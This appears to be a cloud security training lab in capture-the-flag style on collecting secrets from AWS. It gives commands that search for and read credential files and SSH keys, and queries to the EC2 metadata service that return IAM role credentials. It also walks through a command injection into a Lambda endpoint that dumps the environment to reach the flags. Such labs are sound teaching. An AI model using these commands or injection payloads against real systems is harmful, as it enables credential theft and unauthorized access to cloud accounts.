Organizations frequently reveal control plan secrets through a few common mistakes including:

- Web application's debug and/or logging messages being displayed back to users are too verbose, frequently when a web application error is occurring.
- Secrets are being stored and/or used on a server which has multiple uses and/or users, hence when one application/user is breached, the secrets are revealed to another unauthorized user.
- Secrets are left exposed within hidden directories (e.g. ~/.aws) to the internet due to mis-configuration of a web server (e.g. test server).
- Secrets are contained within source code and/or version repository systems and the version repositories files (e.g. ~/.git) are exposed to the internet due to mis-configuration of the web server.
- Source code is posted to a public version repository system (e.g. github.com) and contains secrets.
- Custom package repository systems (e.g. RPM) are left publicly accessible and packages contain secrets within them.

Locations of Secrets

Secrets can be stored in a variety of locations, but a few of the most common locations are detailed below:

	IaaS	**Containers**	**Serverless**
Env. Vars.	Yes	Yes - Most Common	Yes - Most Common
Config Files on Disk	Yes - Most Common	Depends	Rarely
Control Plane **Metadata Service** **- User Data / Boot Script** **- IAM Roles / STS Secrets**	Yes	Depends	No
Within the Code Base	Yes	Yes	Yes

Secrets via Environmental Variables

Environmental Variables often contain sensitive information, which we can view using the "export" command:

```
ubuntu:~$ export
declare -x GOPATH="/home/ubuntu/goprojects"
declare -x GOROOT="/usr/lib/go-1.10"
declare -x HOME="/home/ubuntu"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="ubuntu"
declare -x MAIL="/var/mail/ubuntu"
. . .
```

The following export names are generally highly interesting:

```
AWS_SECRET_ACCESS_KEY
AWS_ACCESS_KEY_ID
AWS_SESSION_TOKEN
```

Secrets via Config Files on Disk

The following are common places for sensitive data (keys etc) to be stored

Path	Description	Provider
~/.aws/credentials, ~/.s3cfg, ~/.aws/config, s3cmd.ini ~/.elasticbeanstalk/aws_credential_file	AWS Credentials	AWS
~/.boto, /etc/boto.cfg, *.boto	Boto Configuration (likely contains AWS credentials)	AWS

.fog	Fog Configuration	AWS, Azure, etc...
*.pem, *.key, *.cert ~/.ssh/id_rsa, id_dsa, id_ed25519, id_ecdsa *.pkcs12, *.pfx, *.p12, *.asc	Private Keys & Certificates	AWS, Azure, etc...
*.keychain	macOS	AWS, Azure, etc...
.htpasswd	Web Server	AWS, Azure, etc...
~/.azure/accessTokens.json ~/.azure/azureProfile.json	Azure Credentials	Azure
Web.Config, *.Config	Visual Studio Configuration	Azure

We can search for files by their name/extension using the following command:

Commands
find / -iname "credentials" find / -iname "aws" find / -iname ".s3cfg" find / -iname ".fog" find / -iname ".boto" find / -iname "aws" cat ~/.aws/config cat ~/.aws/credentials cat ~/.elasticbeanstalk/aws_credential_file find /root -name "*" -exec grep -H -i "access_key " {} \; find /root -name "*" -exec grep -H -i "secret_key" {} \;

We should see output similar to this:

Terminal
root@ip-10-0-1-215:/shared# find / -iname "credentials" /root/.aws/credentials root@ip-10-0-1-215:/shared# find / -iname ".boto" /shared/s3/sync/.boto

We can also look for scripts using the boto3 library which might have credentials hard-coded inside the scripts:

find /root -name "*.py" -exec grep -H -i "boto3" {} \; find /root -name "*.py" -exec grep -H -i "boto3.client(" {} \; find /root -name "*.py" -exec grep -H -i "boto" {} \; find /root -name "*.py" -exec grep -H -i "boto.client" {} \;

Secrets via Control Plane Interface

AWS EC2 instances can query the metadata service to obtain some additional information from the control plane, which is mostly used to create and maintain the EC2 instances operational status.

The metadata service is accessible via the "169.254.169.254" IP address from an EC2 instance.

Collecting the Instance ID

To obtain the instance ID, we query the following API from inside an EC2 instance:

Terminal

```
root@ip-10-0-1-215:/shared# wget -q -O - http://169.254.169.254/latest/meta-data/instance-id
i-09b541a7a8ea0d1b4
```

Collecting the User Data

The "User Data" is a bash script that is executed when the EC2 system was originally created, and is frequently used by teams to bootstrap the default EC2 images into a customized and more useful state for a web application. We can query for UserData information using the following command:

Terminal

```
root@ip-10-0-1-215:/shared# wget -q -O - http://169.254.169.254/latest/user-data
#!/bin/bash
echo "START" > /tmp/userdata001.txt
id >> /tmp/userdata001.txt
...
```

Collecting the User Data (Base64)

User data (a.k.a. OS boot scripts) are commands configured to be ran by aws automatically when the instance launches. We can get the data like this...

Commands

```
curl http://169.254.169.254/latest/user-data
```

Frequently, the User Data information is base64 encoded, similar to the following:

Result

```
{
    "UserData": {
        "Value": "IyEvYmluL2Jhc2gKeXVtIHVwZGF0ZSAteQpzZXJ2aWNlIGh0dHBkIHN0YXJ0CmNoa2NvbmZpZyBodHRwZCBvbg=="
    },
    "InstanceId": "i-1234567890abcdef0"
}
```

Now we just need to decode the user data...

Commands

```
echo base64string | base64 --decode
```

Which would look something like this...

Terminal

```
ubuntu:~$ echo IyEvYmluL2Jhc2gKeXVtIHVwZGF0ZSAteQpzZXJ2aWNlIGh0dHBkIHN0YXJ0RwZCBvbg== | base64 --decode
#!/bin/bash
yum update -y
service httpd start
```

Public IP Address

Collect the public IP address assigned to the instance via the Metadata service:

```
root@ip-10-0-1-215:/shared# curl http://169.254.169.254/latest/meta-data/public-ipv4
18.218.223.237
```

Automating Collection

"SoMeta" is a script that attempts to automate the querying of the metadata service, as certain information is only accessible via recursively querying the metadata service and this can be triesome to execute by hand. For example:

Terminal

```
root@ip-10-0-1-215:/shared# python /shared/hands_on_labs/011_collecting_secrets/soMeta.py



 _____ ___ ____ _
/ ___| | \/ | | |
\ `--. ___ | . . | ___| |_ __ _
 `--. \/ _ \| |\/| |/ _ \ __/ _` |
/\__/ / (_) | | | | __/ || (_| |
\____/ \___/\_| |_/\___|\__\__,_|



Alpha v0.0.3

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Instance ID
[+] URL: http://169.254.169.254/latest/meta-data/ami-id
[+] Content: ami-6a003c0f
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Internet Facing Hostname
[+] URL: http://169.254.169.254/latest/meta-data/public-hostname
[+] Content:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Internal Hostname
[+] URL: http://169.254.169.254/latest/meta-data/local-hostname
[+] Content: ip-10-0-1-240.us-east-2.compute.internal
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
User Data (e.g. boot strap scripts)
[+] URL: http://169.254.169.254/latest/user-data
[+] Content: #!/bin/bash
echo "START" > /tmp/userdata001.txt
id >> /tmp/userdata001.txt
uname -a >> /tmp/userdata001.txt
...

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
IAM roles associated with the instance
[+] URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/awstraining001-bluelizardEC2Role-ZO39U5JTJP8O
[+] Content: {
"Code" : "Success",
"LastUpdated" : "2018-07-06T13:42:29Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASI...",
"SecretAccessKey" : "BFl...",
"Token" : "FQo...",
"Expiration" : "2018-07-06T19:45:18Z"
}
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Public Keys
[+] URL: http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
[+] Content: ssh-rsa AAA...Qx9 aws_training_001

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
ubuntu@ip-10-0-1-240:~$
```


Secrets via Code Base

We can search for secrets within the web application code using a command similar to the following:

Commands
sudo find / -name "*.php" -exec grep -H -i "secret" {} \;

Other key words / selectors to search for include:

Selector	**Description**
password	
secret	

private	
key	
DefaultConnection	Azure / Visual Studio Database Credentials
connectionString	Azure / Visual Studio Database Credentials

Lambda Code Base

Lambda functions drop their code into a read-only partition mounted to /var/task

If interactive within a container, inspecting the function code will provide insight to what the function does & has access to.

Commands
ls /var/task cat /var/task/lambda_function.py

Lambda Hasher Command Injection

We can use the following to run things other than md5sum by

1. Terminating the previous command with an URL encoded semicolon (e.g. "aaa;"),
2. Inserting the command we wish to run followed by another semicolon (e.g. "id;") and then
3. Cleaning completing the injected command by inserting the start of the command again (e.g. "echo bbb").

Similar to this:

Commands
root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \ -v --data-urlencode "inputstring=aaa; id; echo bbb" aaa uid=488(sbx_user1059) gid=487 groups=487 b8694d827c0f13f22ed3bc610c19ec15 -

From this point we can explore the lambda runtime and environment more to collect secrets:

Commands
root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \ -v --data-urlencode "inputstring=aaa; pwd; echo bbb" aaa /var/task b8694d827c0f13f22ed3bc610c19ec15 - root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \ -v --data-urlencode "inputstring=aaa; ls; echo bbb" aaa lambda_function.py b8694d827c0f13f22ed3bc610c19ec15 -

Flag 1 can be found by inspecting the lambda function in the working directory.

Commands
root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \ -v --data-urlencode "inputstring=aaa; cat /var/task/lambda_function.py; echo bbb" aaa import boto3 ... b8694d827c0f13f22ed3bc610c19ec15 -

We can retrieve the Lambda execution role credentials by pulling the environment. Flag 2 can be found in the same place.

Commands

```
root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \
-v --data-urlencode "inputstring=aaa; export; echo bbb"
aaa
export AWS_ACCESS_KEY_ID="ASIA44HPE4QSRUSPIVBP"
...
export _X_AMZN_TRACE_ID="Root=1-5b61db17-1e783b2c35b74bcd785bc8b9;Parent=6d348b4c51bba5dd;Sampled=0"
b8694d827c0f13f22ed3bc610c19ec15 -
```

The first part of flag 3 is also here, but will take some more work to get it out. That will be explored in the next section, "Leveraging Secrets".

Exercise

The Plan:

```
- Gain code execution through the https://hash.lizardblue.com/ web application

-- Collect secrets by attempting the following methods:

--- Collect Secrets via Environmental Variables

--- Collect Secrets via the Config Files on Disk

--- Collect Secrets via the Control Plane Interface

--- Collect Secrets via Searching the Code Base

---- Find Flag #1, Flag #2, and the encrypted Flag #3
```

References

Check out the following references for more information:

- Instance Metadata and User Data - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html